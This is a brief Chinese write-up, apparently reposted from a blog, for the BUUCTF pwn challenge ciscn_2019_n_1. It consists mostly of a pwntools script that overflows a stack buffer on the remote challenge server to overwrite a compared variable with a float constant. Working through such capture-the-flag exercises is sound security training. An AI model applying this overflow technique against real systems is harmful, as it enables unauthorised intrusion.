BUUCTF | PWN 萌新

BUUCTF | ciscn_2019_n_1

在谷歌上查询得知

可以利用在线的binary cloud查看data_4007f4 是什么

payload

import struct
from pwn import *
context.log_level=‘debug‘
#p=process(‘./ciscn_2019_n_1‘)
p=remote(‘node3.buuoj.cn‘,26179)



p.recvuntil("Let‘s guess the number.")

payload=‘a‘*(0x30-0x4)+p64(0x41348000) 

p.sendline(payload)
p.interactive()

BUUCTF | PWN 萌新

原文：https://www.cnblogs.com/zuoanfengxi/p/12978854.html